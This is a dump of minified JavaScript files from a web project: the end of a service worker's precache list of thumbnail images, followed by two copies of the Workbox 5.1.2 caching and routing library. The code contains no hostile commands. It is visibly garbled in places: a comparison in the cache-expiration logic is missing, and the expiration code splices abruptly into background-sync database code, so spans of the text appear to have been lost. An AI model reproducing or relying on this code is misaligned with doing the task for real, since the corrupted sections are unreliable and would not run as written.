61.jpg",revision:"65cb16318ade399952ec48a0321b71e9"},{url:"thumbnails/62.jpg",revision:"ebb2b5067f14cb91d071cabbb4e40ddf"},{url:"thumbnails/63.jpg",revision:"03dbf08f4fb7dca83220704eba205bfb"},{url:"thumbnails/64.jpg",revision:"a31476b167f3fdfc2b2922f538136a8b"},{url:"thumbnails/65.jpg",revision:"1f9ace6ecc074ba6d41c6f05edc8f506"},{url:"thumbnails/66.jpg",revision:"ee8619390869d0fa0db5ec31108d5fb3"},{url:"thumbnails/67.jpg",revision:"91253349880a251b7f5f4127332f4b7e"},{url:"thumbnails/68.jpg",revision:"05b5409210a2e5c12c5d22aa4ef38232"},{url:"thumbnails/69.jpg",revision:"ca202ad764ac288721dbef0c62709bdf"},{url:"thumbnails/7.jpg",revision:"a85e0ddf39a7cb74d389ab3751c43a2c"},{url:"thumbnails/70.jpg",revision:"53fd3260f692d71a6d3d244a60d63d05"},{url:"thumbnails/71.jpg",revision:"76828953f37460191acabbd569df496a"},{url:"thumbnails/72.jpg",revision:"6faad878626ca224ff102d06602377ea"},{url:"thumbnails/73.jpg",revision:"69a2c18af9156f0c63edfc23303f366a"},{url:"thumbnails/74.jpg",revision:"f045211605fba1b95000489151839636"},{url:"thumbnails/75.jpg",revision:"1c4442c59b7454dea5b52171b858d956"},{url:"thumbnails/76.jpg",revision:"86a41050c26f72ac718321f688b63209"},{url:"thumbnails/77.jpg",revision:"24851596d4bd9365a26e34f271b928e5"},{url:"thumbnails/78.jpg",revision:"6c07aa879a43b4397a8779d861270f0b"},{url:"thumbnails/79.jpg",revision:"f4c9130b25ec64fe041687c6abc7c334"},{url:"thumbnails/8.jpg",revision:"a31476b167f3fdfc2b2922f538136a8b"},{url:"thumbnails/80.jpg",revision:"8fc9cec055e8b8003ff82958ce99d7a6"},{url:"thumbnails/81.jpg",revision:"66f11bb1e9d58c07d27ec27c0a44ae57"},{url:"thumbnails/82.jpg",revision:"a31476b167f3fdfc2b2922f538136a8b"},{url:"thumbnails/83.jpg",revision:"c924b07f219a29aed220e54eba1bb20a"},{url:"thumbnails/84.jpg",revision:"8e872c51016a7407bbe7bc9f703eac2a"},{url:"thumbnails/85.jpg",revision:"f929438739b0af8ea960473d00084afa"},{url:"thumbnails/86.jpg",revision:"69e9594b8669cde1cb1084d17eb8467b"},{url:"thumbnails/87.jpg",revision:"c757600c8f54a25e765deda7b23db3a0"},{url:"thumbnails/88.jpg",revision:"fcfd21489310dacbb8c5fbca412d8546"},{url:"thumbnails/89.jpg",revision:"afe3192480ef0b7345b9b1bd70993ab8"},{url:"thumbnails/9.jpg",revision:"05f78960ac7153496daa0621c58f4efa"},{url:"thumbnails/90.jpg",revision:"51be23eb7f20ed3e18c7a6cc63e77469"},{url:"thumbnails/91.jpg",revision:"78387767a29f1558d412968b94d4c8bd"},{url:"thumbnails/92.jpg",revision:"e10c00499e58061ba00ba4df95384412"},{url:"thumbnails/93.jpg",revision:"d36749ec0218fabeb3afab08f5f9e876"},{url:"thumbnails/94.jpg",revision:"3a2a2ef2884ef2f1ab6467dcd11e00fa"},{url:"thumbnails/95.jpg",revision:"9b20b3a399ec5b8c49ce010adfbda029"},{url:"thumbnails/96.jpg",revision:"6dd63b7e0b47430b8449139a152efb1c"},{url:"thumbnails/97.jpg",revision:"e0fe4e74af4837c39cf3b1a4356f1064"},{url:"thumbnails/98.jpg",revision:"64e5340a5d1e7c676186a36fddd3027d"},{url:"thumbnails/99.jpg",revision:"8a08cc18fb476c9c6a992f042e66a53c"}],{}),e.registerRoute(new e.NavigationRoute(e.createHandlerBoundToURL("/HTML/index.html"))),e.registerRoute(/\.(?:png|jpg|jpeg|svg)$/,new e.CacheFirst({cacheName:"images",plugins:[new e.ExpirationPlugin({maxEntries:20,purgeOnQuotaError:!0})]}),"GET")})); //# sourceMappingURL=sw.js.map ================================================ FILE: HTML/workbox-46415db6.js ================================================ define("./workbox-46415db6.js",["exports"],(function(t){"use strict";try{self["workbox:core:5.1.2"]&&_()}catch(t){}const e=(t,...e)=>{let s=t;return e.length>0&&(s+=" :: "+JSON.stringify(e)),s};class s extends Error{constructor(t,s){super(e(t,s)),this.name=t,this.details=s}}try{self["workbox:routing:5.1.2"]&&_()}catch(t){}const n=t=>t&&"object"==typeof t?t:{handle:t};class i{constructor(t,e,s="GET"){this.handler=n(e),this.match=t,this.method=s}}class r extends i{constructor(t,e,s){super(({url:e})=>{const s=t.exec(e.href);if(s&&(e.origin===location.origin||0===s.index))return s.slice(1)},e,s)}}const a=t=>new URL(String(t),location.href).href.replace(new RegExp("^"+location.origin),"");class c{constructor(){this.t=new Map}get routes(){return this.t}addFetchListener(){self.addEventListener("fetch",t=>{const{request:e}=t,s=this.handleRequest({request:e,event:t});s&&t.respondWith(s)})}addCacheListener(){self.addEventListener("message",t=>{if(t.data&&"CACHE_URLS"===t.data.type){const{payload:e}=t.data,s=Promise.all(e.urlsToCache.map(t=>{"string"==typeof t&&(t=[t]);const e=new Request(...t);return this.handleRequest({request:e})}));t.waitUntil(s),t.ports&&t.ports[0]&&s.then(()=>t.ports[0].postMessage(!0))}})}handleRequest({request:t,event:e}){const s=new URL(t.url,location.href);if(!s.protocol.startsWith("http"))return;const{params:n,route:i}=this.findMatchingRoute({url:s,request:t,event:e});let r,a=i&&i.handler;if(!a&&this.s&&(a=this.s),a){try{r=a.handle({url:s,request:t,event:e,params:n})}catch(t){r=Promise.reject(t)}return r instanceof Promise&&this.i&&(r=r.catch(n=>this.i.handle({url:s,request:t,event:e}))),r}}findMatchingRoute({url:t,request:e,event:s}){const n=this.t.get(e.method)||[];for(const i of n){let n;const r=i.match({url:t,request:e,event:s});if(r)return n=r,(Array.isArray(r)&&0===r.length||r.constructor===Object&&0===Object.keys(r).length||"boolean"==typeof r)&&(n=void 0),{route:i,params:n}}return{}}setDefaultHandler(t){this.s=n(t)}setCatchHandler(t){this.i=n(t)}registerRoute(t){this.t.has(t.method)||this.t.set(t.method,[]),this.t.get(t.method).push(t)}unregisterRoute(t){if(!this.t.has(t.method))throw new s("unregister-route-but-not-found-with-method",{method:t.method});const e=this.t.get(t.method).indexOf(t);if(!(e>-1))throw new s("unregister-route-route-not-registered");this.t.get(t.method).splice(e,1)}}let o;const h=()=>(o||(o=new c,o.addFetchListener(),o.addCacheListener()),o);const u={googleAnalytics:"googleAnalytics",precache:"precache-v2",prefix:"workbox",runtime:"runtime",suffix:"undefined"!=typeof registration?registration.scope:""},l=t=>[u.prefix,t,u.suffix].filter(t=>t&&t.length>0).join("-"),f=t=>t||l(u.precache),w=t=>t||l(u.runtime);function d(t){t.then(()=>{})}const y=new Set;class p{constructor(t,e,{onupgradeneeded:s,onversionchange:n}={}){this.o=null,this.h=t,this.u=e,this.l=s,this.p=n||(()=>this.close())}get db(){return this.o}async open(){if(!this.o)return this.o=await new Promise((t,e)=>{let s=!1;setTimeout(()=>{s=!0,e(new Error("The open request was blocked and timed out"))},this.OPEN_TIMEOUT);const n=indexedDB.open(this.h,this.u);n.onerror=()=>e(n.error),n.onupgradeneeded=t=>{s?(n.transaction.abort(),n.result.close()):"function"==typeof this.l&&this.l(t)},n.onsuccess=()=>{const e=n.result;s?e.close():(e.onversionchange=this.p.bind(this),t(e))}}),this}async getKey(t,e){return(await this.getAllKeys(t,e,1))[0]}async getAll(t,e,s){return await this.getAllMatching(t,{query:e,count:s})}async getAllKeys(t,e,s){return(await this.getAllMatching(t,{query:e,count:s,includeKeys:!0})).map(t=>t.key)}async getAllMatching(t,{index:e,query:s=null,direction:n="next",count:i,includeKeys:r=!1}={}){return await this.transaction([t],"readonly",(a,c)=>{const o=a.objectStore(t),h=e?o.index(e):o,u=[],l=h.openCursor(s,n);l.onsuccess=()=>{const t=l.result;t?(u.push(r?t:t.value),i&&u.length>=i?c(u):t.continue()):c(u)}})}async transaction(t,e,s){return await this.open(),await new Promise((n,i)=>{const r=this.o.transaction(t,e);r.onabort=()=>i(r.error),r.oncomplete=()=>n(),s(r,t=>n(t))})}async g(t,e,s,...n){return await this.transaction([e],s,(s,i)=>{const r=s.objectStore(e),a=r[t].apply(r,n);a.onsuccess=()=>i(a.result)})}close(){this.o&&(this.o.close(),this.o=null)}}p.prototype.OPEN_TIMEOUT=2e3;const g={readonly:["get","count","getKey","getAll","getAllKeys"],readwrite:["add","put","clear","delete"]};for(const[t,e]of Object.entries(g))for(const s of e)s in IDBObjectStore.prototype&&(p.prototype[s]=async function(e,...n){return await this.g(s,e,t,...n)});try{self["workbox:expiration:5.1.2"]&&_()}catch(t){}const m=t=>{const e=new URL(t,location.href);return e.hash="",e.href};class q{constructor(t){this.m=t,this.o=new p("workbox-expiration",1,{onupgradeneeded:t=>this.q(t)})}q(t){const e=t.target.result.createObjectStore("cache-entries",{keyPath:"id"});e.createIndex("cacheName","cacheName",{unique:!1}),e.createIndex("timestamp","timestamp",{unique:!1}),(async t=>{await new Promise((e,s)=>{const n=indexedDB.deleteDatabase(t);n.onerror=()=>{s(n.error)},n.onblocked=()=>{s(new Error("Delete blocked"))},n.onsuccess=()=>{e()}})})(this.m)}async setTimestamp(t,e){const s={url:t=m(t),timestamp:e,cacheName:this.m,id:this.R(t)};await this.o.put("cache-entries",s)}async getTimestamp(t){return(await this.o.get("cache-entries",this.R(t))).timestamp}async expireEntries(t,e){const s=await this.o.transaction("cache-entries","readwrite",(s,n)=>{const i=s.objectStore("cache-entries").index("timestamp").openCursor(null,"prev"),r=[];let a=0;i.onsuccess=()=>{const s=i.result;if(s){const n=s.value;n.cacheName===this.m&&(t&&n.timestamp=e?r.push(s.value):a++),s.continue()}else n(r)}}),n=[];for(const t of s)await this.o.delete("cache-entries",t.id),n.push(t.url);return n}R(t){return this.m+"|"+m(t)}}class R{constructor(t,e={}){this.v=!1,this.U=!1,this.L=e.maxEntries,this.N=e.maxAgeSeconds,this.m=t,this._=new q(t)}async expireEntries(){if(this.v)return void(this.U=!0);this.v=!0;const t=this.N?Date.now()-1e3*this.N:0,e=await this._.expireEntries(t,this.L),s=await self.caches.open(this.m);for(const t of e)await s.delete(t);this.v=!1,this.U&&(this.U=!1,d(this.expireEntries()))}async updateTimestamp(t){await this._.setTimestamp(t,Date.now())}async isURLExpired(t){if(this.N){return await this._.getTimestamp(t)0&&t.oldVersion<3&&e.objectStoreNames.contains("requests")&&e.deleteObjectStore("requests"),e.createObjectStore("requests",{autoIncrement:!0,keyPath:"id"}).createIndex("queueName","queueName",{unique:!1})}}const x=["method","referrer","referrerPolicy","mode","credentials","cache","redirect","integrity","keepalive"];class U{constructor(t){"navigate"===t.mode&&(t.mode="same-origin"),this.K=t}static async fromRequest(t){const e={url:t.url,headers:{}};"GET"!==t.method&&(e.body=await t.clone().arrayBuffer());for(const[s,n]of t.headers.entries())e.headers[s]=n;for(const s of x)void 0!==t[s]&&(e[s]=t[s]);return new U(e)}toObject(){const t=Object.assign({},this.K);return t.headers=Object.assign({},this.K.headers),t.body&&(t.body=t.body.slice(0)),t}toRequest(){return new Request(this.K.url,this.K)}clone(){return new U(this.toObject())}}const L=new Set,b=t=>{const e={request:new U(t.requestData).toRequest(),timestamp:t.timestamp};return t.metadata&&(e.metadata=t.metadata),e};class N{constructor(t,{onSync:e,maxRetentionTime:n}={}){if(this.T=!1,this.P=!1,L.has(t))throw new s("duplicate-queue-name",{name:t});L.add(t),this.h=t,this.M=e||this.replayRequests,this.S=n||10080,this.A=new v(this.h),this.C()}get name(){return this.h}async pushRequest(t){await this.I(t,"push")}async unshiftRequest(t){await this.I(t,"unshift")}async popRequest(){return this.j("pop")}async shiftRequest(){return this.j("shift")}async getAll(){const t=await this.A.getAll(),e=Date.now(),s=[];for(const n of t){const t=60*this.S*1e3;e-n.timestamp>t?await this.A.deleteEntry(n.id):s.push(b(n))}return s}async I({request:t,metadata:e,timestamp:s=Date.now()},n){const i={requestData:(await U.fromRequest(t.clone())).toObject(),timestamp:s};e&&(i.metadata=e),await this.A[n+"Entry"](i),this.T?this.P=!0:await this.registerSync()}async j(t){const e=Date.now(),s=await this.A[t+"Entry"]();if(s){const n=60*this.S*1e3;return e-s.timestamp>n?this.j(t):b(s)}}async replayRequests(){let t;for(;t=await this.shiftRequest();)try{await fetch(t.request.clone())}catch(e){throw await this.unshiftRequest(t),new s("queue-replay-failed",{name:this.h})}}async registerSync(){if("sync"in self.registration)try{await self.registration.sync.register("workbox-background-sync:"+this.h)}catch(t){}}C(){"sync"in self.registration?self.addEventListener("sync",t=>{if(t.tag==="workbox-background-sync:"+this.h){const e=async()=>{let e;this.T=!0;try{await this.M({queue:this})}catch(t){throw e=t,e}finally{!this.P||e&&!t.lastChance||await this.registerSync(),this.T=!1,this.P=!1}};t.waitUntil(e())}}):this.M({queue:this})}static get B(){return L}}const E=(t,e)=>t.filter(t=>e in t),D=async({request:t,mode:e,plugins:s=[]})=>{const n=E(s,"cacheKeyWillBeUsed");let i=t;for(const t of n)i=await t.cacheKeyWillBeUsed.call(t,{mode:e,request:i}),"string"==typeof i&&(i=new Request(i));return i},O=async({cacheName:t,request:e,event:s,matchOptions:n,plugins:i=[]})=>{const r=await self.caches.open(t),a=await D({plugins:i,request:e,mode:"read"});let c=await r.match(a,n);for(const e of i)if("cachedResponseWillBeUsed"in e){const i=e.cachedResponseWillBeUsed;c=await i.call(e,{cacheName:t,event:s,matchOptions:n,cachedResponse:c,request:a})}return c},k=async({cacheName:t,request:e,response:n,event:i,plugins:r=[],matchOptions:c})=>{const o=await D({plugins:r,request:e,mode:"write"});if(!n)throw new s("cache-put-with-no-response",{url:a(o.url)});const h=await(async({request:t,response:e,event:s,plugins:n=[]})=>{let i=e,r=!1;for(const e of n)if("cacheWillUpdate"in e){r=!0;const n=e.cacheWillUpdate;if(i=await n.call(e,{request:t,response:i,event:s}),!i)break}return r||(i=i&&200===i.status?i:void 0),i||null})({event:i,plugins:r,response:n,request:o});if(!h)return;const u=await self.caches.open(t),l=E(r,"cacheDidUpdate"),f=l.length>0?await O({cacheName:t,matchOptions:c,request:o}):null;try{await u.put(o,h)}catch(t){throw"QuotaExceededError"===t.name&&await async function(){for(const t of y)await t()}(),t}for(const e of l)await e.cacheDidUpdate.call(e,{cacheName:t,event:i,oldResponse:f,newResponse:h,request:o})},K=O,T=async({request:t,fetchOptions:e,event:n,plugins:i=[]})=>{if("string"==typeof t&&(t=new Request(t)),n instanceof FetchEvent&&n.preloadResponse){const t=await n.preloadResponse;if(t)return t}const r=E(i,"fetchDidFail"),a=r.length>0?t.clone():null;try{for(const e of i)if("requestWillFetch"in e){const s=e.requestWillFetch,i=t.clone();t=await s.call(e,{request:i,event:n})}}catch(t){throw new s("plugin-error-request-will-fetch",{thrownError:t})}const c=t.clone();try{let s;s="navigate"===t.mode?await fetch(t):await fetch(t,e);for(const t of i)"fetchDidSucceed"in t&&(s=await t.fetchDidSucceed.call(t,{event:n,request:c,response:s}));return s}catch(t){for(const e of r)await e.fetchDidFail.call(e,{error:t,event:n,originalRequest:a.clone(),request:c.clone()});throw t}};try{self["workbox:strategies:5.1.2"]&&_()}catch(t){}const P={cacheWillUpdate:async({response:t})=>200===t.status||0===t.status?t:null};let M;async function S(t,e){const s=t.clone(),n={headers:new Headers(s.headers),status:s.status,statusText:s.statusText},i=e?e(n):n,r=function(){if(void 0===M){const t=new Response("");if("body"in t)try{new Response(t.body),M=!0}catch(t){M=!1}M=!1}return M}()?s.body:await s.blob();return new Response(r,i)}try{self["workbox:precaching:5.1.2"]&&_()}catch(t){}function A(t){if(!t)throw new s("add-to-cache-list-unexpected-type",{entry:t});if("string"==typeof t){const e=new URL(t,location.href);return{cacheKey:e.href,url:e.href}}const{revision:e,url:n}=t;if(!n)throw new s("add-to-cache-list-unexpected-type",{entry:t});if(!e){const t=new URL(n,location.href);return{cacheKey:t.href,url:t.href}}const i=new URL(n,location.href),r=new URL(n,location.href);return i.searchParams.set("__WB_REVISION__",e),{cacheKey:i.href,url:r.href}}class C{constructor(t){this.m=f(t),this.F=new Map,this.W=new Map,this.H=new Map}addToCacheList(t){const e=[];for(const n of t){"string"==typeof n?e.push(n):n&&void 0===n.revision&&e.push(n.url);const{cacheKey:t,url:i}=A(n),r="string"!=typeof n&&n.revision?"reload":"default";if(this.F.has(i)&&this.F.get(i)!==t)throw new s("add-to-cache-list-conflicting-entries",{firstEntry:this.F.get(i),secondEntry:t});if("string"!=typeof n&&n.integrity){if(this.H.has(t)&&this.H.get(t)!==n.integrity)throw new s("add-to-cache-list-conflicting-integrities",{url:i});this.H.set(t,n.integrity)}if(this.F.set(i,t),this.W.set(i,r),e.length>0){const t=`Workbox is precaching URLs without revision info: ${e.join(", ")}\nThis is generally NOT safe. Learn more at https://bit.ly/wb-precache`;console.warn(t)}}}async install({event:t,plugins:e}={}){const s=[],n=[],i=await self.caches.open(this.m),r=await i.keys(),a=new Set(r.map(t=>t.url));for(const[t,e]of this.F)a.has(e)?n.push(t):s.push({cacheKey:e,url:t});const c=s.map(({cacheKey:s,url:n})=>{const i=this.H.get(s),r=this.W.get(n);return this.G({cacheKey:s,cacheMode:r,event:t,integrity:i,plugins:e,url:n})});return await Promise.all(c),{updatedURLs:s.map(t=>t.url),notUpdatedURLs:n}}async activate(){const t=await self.caches.open(this.m),e=await t.keys(),s=new Set(this.F.values()),n=[];for(const i of e)s.has(i.url)||(await t.delete(i),n.push(i.url));return{deletedURLs:n}}async G({cacheKey:t,url:e,cacheMode:n,event:i,plugins:r,integrity:a}){const c=new Request(e,{integrity:a,cache:n,credentials:"same-origin"});let o,h=await T({event:i,plugins:r,request:c});for(const t of r||[])"cacheWillUpdate"in t&&(o=t);if(!(o?await o.cacheWillUpdate({event:i,request:c,response:h}):h.status<400))throw new s("bad-precaching-response",{url:e,status:h.status});h.redirected&&(h=await S(h)),await k({event:i,plugins:r,response:h,request:t===e?c:new Request(t),cacheName:this.m,matchOptions:{ignoreSearch:!0}})}getURLsToCacheKeys(){return this.F}getCachedURLs(){return[...this.F.keys()]}getCacheKeyForURL(t){const e=new URL(t,location.href);return this.F.get(e.href)}async matchPrecache(t){const e=t instanceof Request?t.url:t,s=this.getCacheKeyForURL(e);if(s){return(await self.caches.open(this.m)).match(s)}}createHandler(t=!0){return async({request:e})=>{try{const t=await this.matchPrecache(e);if(t)return t;throw new s("missing-precache-entry",{cacheName:this.m,url:e instanceof Request?e.url:e})}catch(s){if(t)return fetch(e);throw s}}}createHandlerBoundToURL(t,e=!0){if(!this.getCacheKeyForURL(t))throw new s("non-precached-url",{url:t});const n=this.createHandler(e),i=new Request(t);return()=>n({request:i})}}let I;const j=()=>(I||(I=new C),I);const B=(t,e)=>{const s=j().getURLsToCacheKeys();for(const n of function*(t,{ignoreURLParametersMatching:e,directoryIndex:s,cleanURLs:n,urlManipulation:i}={}){const r=new URL(t,location.href);r.hash="",yield r.href;const a=function(t,e=[]){for(const s of[...t.searchParams.keys()])e.some(t=>t.test(s))&&t.searchParams.delete(s);return t}(r,e);if(yield a.href,s&&a.pathname.endsWith("/")){const t=new URL(a.href);t.pathname+=s,yield t.href}if(n){const t=new URL(a.href);t.pathname+=".html",yield t.href}if(i){const t=i({url:r});for(const e of t)yield e.href}}(t,e)){const t=s.get(n);if(t)return t}};let F=!1;function W(t){F||((({ignoreURLParametersMatching:t=[/^utm_/],directoryIndex:e="index.html",cleanURLs:s=!0,urlManipulation:n}={})=>{const i=f();self.addEventListener("fetch",r=>{const a=B(r.request.url,{cleanURLs:s,directoryIndex:e,ignoreURLParametersMatching:t,urlManipulation:n});if(!a)return;let c=self.caches.open(i).then(t=>t.match(a)).then(t=>t||fetch(a));r.respondWith(c)})})(t),F=!0)}const H=[],G={get:()=>H,add(t){H.push(...t)}},J=t=>{const e=j(),s=G.get();t.waitUntil(e.install({event:t,plugins:s}).catch(t=>{throw t}))},Q=t=>{const e=j();t.waitUntil(e.activate())};t.BackgroundSyncPlugin=class{constructor(t,e){this.fetchDidFail=async({request:t})=>{await this.J.pushRequest({request:t})},this.J=new N(t,e)}},t.CacheFirst=class{constructor(t={}){this.m=w(t.cacheName),this.V=t.plugins||[],this.$=t.fetchOptions,this.X=t.matchOptions}async handle({event:t,request:e}){"string"==typeof e&&(e=new Request(e));let n,i=await K({cacheName:this.m,request:e,event:t,matchOptions:this.X,plugins:this.V});if(!i)try{i=await this.Y(e,t)}catch(t){n=t}if(!i)throw new s("no-response",{url:e.url,error:n});return i}async Y(t,e){const s=await T({request:t,event:e,fetchOptions:this.$,plugins:this.V}),n=s.clone(),i=k({cacheName:this.m,request:t,response:n,event:e,plugins:this.V});if(e)try{e.waitUntil(i)}catch(t){}return s}},t.ExpirationPlugin=class{constructor(t={}){var e;this.cachedResponseWillBeUsed=async({event:t,request:e,cacheName:s,cachedResponse:n})=>{if(!n)return null;const i=this.Z(n),r=this.tt(s);d(r.expireEntries());const a=r.updateTimestamp(e.url);if(t)try{t.waitUntil(a)}catch(t){}return i?n:null},this.cacheDidUpdate=async({cacheName:t,request:e})=>{const s=this.tt(t);await s.updateTimestamp(e.url),await s.expireEntries()},this.et=t,this.N=t.maxAgeSeconds,this.st=new Map,t.purgeOnQuotaError&&(e=()=>this.deleteCacheAndMetadata(),y.add(e))}tt(t){if(t===w())throw new s("expire-custom-caches-only");let e=this.st.get(t);return e||(e=new R(t,this.et),this.st.set(t,e)),e}Z(t){if(!this.N)return!0;const e=this.nt(t);return null===e||e>=Date.now()-1e3*this.N}nt(t){if(!t.headers.has("date"))return null;const e=t.headers.get("date"),s=new Date(e).getTime();return isNaN(s)?null:s}async deleteCacheAndMetadata(){for(const[t,e]of this.st)await self.caches.delete(t),await e.delete();this.st=new Map}},t.NavigationRoute=class extends i{constructor(t,{allowlist:e=[/./],denylist:s=[]}={}){super(t=>this.it(t),t),this.rt=e,this.at=s}it({url:t,request:e}){if(e&&"navigate"!==e.mode)return!1;const s=t.pathname+t.search;for(const t of this.at)if(t.test(s))return!1;return!!this.rt.some(t=>t.test(s))}},t.NetworkFirst=class{constructor(t={}){if(this.m=w(t.cacheName),t.plugins){const e=t.plugins.some(t=>!!t.cacheWillUpdate);this.V=e?t.plugins:[P,...t.plugins]}else this.V=[P];this.ct=t.networkTimeoutSeconds||0,this.$=t.fetchOptions,this.X=t.matchOptions}async handle({event:t,request:e}){const n=[];"string"==typeof e&&(e=new Request(e));const i=[];let r;if(this.ct){const{id:s,promise:a}=this.ot({request:e,event:t,logs:n});r=s,i.push(a)}const a=this.ht({timeoutId:r,request:e,event:t,logs:n});i.push(a);let c=await Promise.race(i);if(c||(c=await a),!c)throw new s("no-response",{url:e.url});return c}ot({request:t,logs:e,event:s}){let n;return{promise:new Promise(e=>{n=setTimeout(async()=>{e(await this.ut({request:t,event:s}))},1e3*this.ct)}),id:n}}async ht({timeoutId:t,request:e,logs:s,event:n}){let i,r;try{r=await T({request:e,event:n,fetchOptions:this.$,plugins:this.V})}catch(t){i=t}if(t&&clearTimeout(t),i||!r)r=await this.ut({request:e,event:n});else{const t=r.clone(),s=k({cacheName:this.m,request:e,response:t,event:n,plugins:this.V});if(n)try{n.waitUntil(s)}catch(t){}}return r}ut({event:t,request:e}){return K({cacheName:this.m,request:e,event:t,matchOptions:this.X,plugins:this.V})}},t.clientsClaim=function(){self.addEventListener("activate",()=>self.clients.claim())},t.createHandlerBoundToURL=function(t){return j().createHandlerBoundToURL(t)},t.precacheAndRoute=function(t,e){!function(t){j().addToCacheList(t),t.length>0&&(self.addEventListener("install",J),self.addEventListener("activate",Q))}(t),W(e)},t.registerRoute=function(t,e,n){let a;if("string"==typeof t){const s=new URL(t,location.href);a=new i(({url:t})=>t.href===s.href,e,n)}else if(t instanceof RegExp)a=new r(t,e,n);else if("function"==typeof t)a=new i(t,e,n);else{if(!(t instanceof i))throw new s("unsupported-route-type",{moduleName:"workbox-routing",funcName:"registerRoute",paramName:"capture"});a=t}return h().registerRoute(a),a},t.skipWaiting=function(){self.addEventListener("install",()=>self.skipWaiting())}})); //# sourceMappingURL=workbox-46415db6.js.map ================================================ FILE: HTML/workbox-cae64c9a.js ================================================ define("./workbox-cae64c9a.js",["exports"],(function(t){"use strict";try{self["workbox:core:5.1.2"]&&_()}catch(t){}const e=(t,...e)=>{let s=t;return e.length>0&&(s+=" :: "+JSON.stringify(e)),s};class s extends Error{constructor(t,s){super(e(t,s)),this.name=t,this.details=s}}try{self["workbox:routing:5.1.2"]&&_()}catch(t){}const n=t=>t&&"object"==typeof t?t:{handle:t};class i{constructor(t,e,s="GET"){this.handler=n(e),this.match=t,this.method=s}}class r extends i{constructor(t,e,s){super(({url:e})=>{const s=t.exec(e.href);if(s&&(e.origin===location.origin||0===s.index))return s.slice(1)},e,s)}}const a=t=>new URL(String(t),location.href).href.replace(new RegExp("^"+location.origin),"");class c{constructor(){this.t=new Map}get routes(){return this.t}addFetchListener(){self.addEventListener("fetch",t=>{const{request:e}=t,s=this.handleRequest({request:e,event:t});s&&t.respondWith(s)})}addCacheListener(){self.addEventListener("message",t=>{if(t.data&&"CACHE_URLS"===t.data.type){const{payload:e}=t.data,s=Promise.all(e.urlsToCache.map(t=>{"string"==typeof t&&(t=[t]);const e=new Request(...t);return this.handleRequest({request:e})}));t.waitUntil(s),t.ports&&t.ports[0]&&s.then(()=>t.ports[0].postMessage(!0))}})}handleRequest({request:t,event:e}){const s=new URL(t.url,location.href);if(!s.protocol.startsWith("http"))return;const{params:n,route:i}=this.findMatchingRoute({url:s,request:t,event:e});let r,a=i&&i.handler;if(!a&&this.s&&(a=this.s),a){try{r=a.handle({url:s,request:t,event:e,params:n})}catch(t){r=Promise.reject(t)}return r instanceof Promise&&this.i&&(r=r.catch(n=>this.i.handle({url:s,request:t,event:e}))),r}}findMatchingRoute({url:t,request:e,event:s}){const n=this.t.get(e.method)||[];for(const i of n){let n;const r=i.match({url:t,request:e,event:s});if(r)return n=r,(Array.isArray(r)&&0===r.length||r.constructor===Object&&0===Object.keys(r).length||"boolean"==typeof r)&&(n=void 0),{route:i,params:n}}return{}}setDefaultHandler(t){this.s=n(t)}setCatchHandler(t){this.i=n(t)}registerRoute(t){this.t.has(t.method)||this.t.set(t.method,[]),this.t.get(t.method).push(t)}unregisterRoute(t){if(!this.t.has(t.method))throw new s("unregister-route-but-not-found-with-method",{method:t.method});const e=this.t.get(t.method).indexOf(t);if(!(e>-1))throw new s("unregister-route-route-not-registered");this.t.get(t.method).splice(e,1)}}let o;const h=()=>(o||(o=new c,o.addFetchListener(),o.addCacheListener()),o);const u={googleAnalytics:"googleAnalytics",precache:"precache-v2",prefix:"workbox",runtime:"runtime",suffix:"undefined"!=typeof registration?registration.scope:""},l=t=>[u.prefix,t,u.suffix].filter(t=>t&&t.length>0).join("-"),f=t=>t||l(u.precache),w=t=>t||l(u.runtime);function d(t){t.then(()=>{})}const p=new Set;class y{constructor(t,e,{onupgradeneeded:s,onversionchange:n}={}){this.o=null,this.h=t,this.u=e,this.l=s,this.p=n||(()=>this.close())}get db(){return this.o}async open(){if(!this.o)return this.o=await new Promise((t,e)=>{let s=!1;setTimeout(()=>{s=!0,e(new Error("The open request was blocked and timed out"))},this.OPEN_TIMEOUT);const n=indexedDB.open(this.h,this.u);n.onerror=()=>e(n.error),n.onupgradeneeded=t=>{s?(n.transaction.abort(),n.result.close()):"function"==typeof this.l&&this.l(t)},n.onsuccess=()=>{const e=n.result;s?e.close():(e.onversionchange=this.p.bind(this),t(e))}}),this}async getKey(t,e){return(await this.getAllKeys(t,e,1))[0]}async getAll(t,e,s){return await this.getAllMatching(t,{query:e,count:s})}async getAllKeys(t,e,s){return(await this.getAllMatching(t,{query:e,count:s,includeKeys:!0})).map(t=>t.key)}async getAllMatching(t,{index:e,query:s=null,direction:n="next",count:i,includeKeys:r=!1}={}){return await this.transaction([t],"readonly",(a,c)=>{const o=a.objectStore(t),h=e?o.index(e):o,u=[],l=h.openCursor(s,n);l.onsuccess=()=>{const t=l.result;t?(u.push(r?t:t.value),i&&u.length>=i?c(u):t.continue()):c(u)}})}async transaction(t,e,s){return await this.open(),await new Promise((n,i)=>{const r=this.o.transaction(t,e);r.onabort=()=>i(r.error),r.oncomplete=()=>n(),s(r,t=>n(t))})}async g(t,e,s,...n){return await this.transaction([e],s,(s,i)=>{const r=s.objectStore(e),a=r[t].apply(r,n);a.onsuccess=()=>i(a.result)})}close(){this.o&&(this.o.close(),this.o=null)}}y.prototype.OPEN_TIMEOUT=2e3;const g={readonly:["get","count","getKey","getAll","getAllKeys"],readwrite:["add","put","clear","delete"]};for(const[t,e]of Object.entries(g))for(const s of e)s in IDBObjectStore.prototype&&(y.prototype[s]=async function(e,...n){return await this.g(s,e,t,...n)});try{self["workbox:expiration:5.1.2"]&&_()}catch(t){}const m=t=>{const e=new URL(t,location.href);return e.hash="",e.href};class q{constructor(t){this.m=t,this.o=new y("workbox-expiration",1,{onupgradeneeded:t=>this.q(t)})}q(t){const e=t.target.result.createObjectStore("cache-entries",{keyPath:"id"});e.createIndex("cacheName","cacheName",{unique:!1}),e.createIndex("timestamp","timestamp",{unique:!1}),(async t=>{await new Promise((e,s)=>{const n=indexedDB.deleteDatabase(t);n.onerror=()=>{s(n.error)},n.onblocked=()=>{s(new Error("Delete blocked"))},n.onsuccess=()=>{e()}})})(this.m)}async setTimestamp(t,e){const s={url:t=m(t),timestamp:e,cacheName:this.m,id:this.R(t)};await this.o.put("cache-entries",s)}async getTimestamp(t){return(await this.o.get("cache-entries",this.R(t))).timestamp}async expireEntries(t,e){const s=await this.o.transaction("cache-entries","readwrite",(s,n)=>{const i=s.objectStore("cache-entries").index("timestamp").openCursor(null,"prev"),r=[];let a=0;i.onsuccess=()=>{const s=i.result;if(s){const 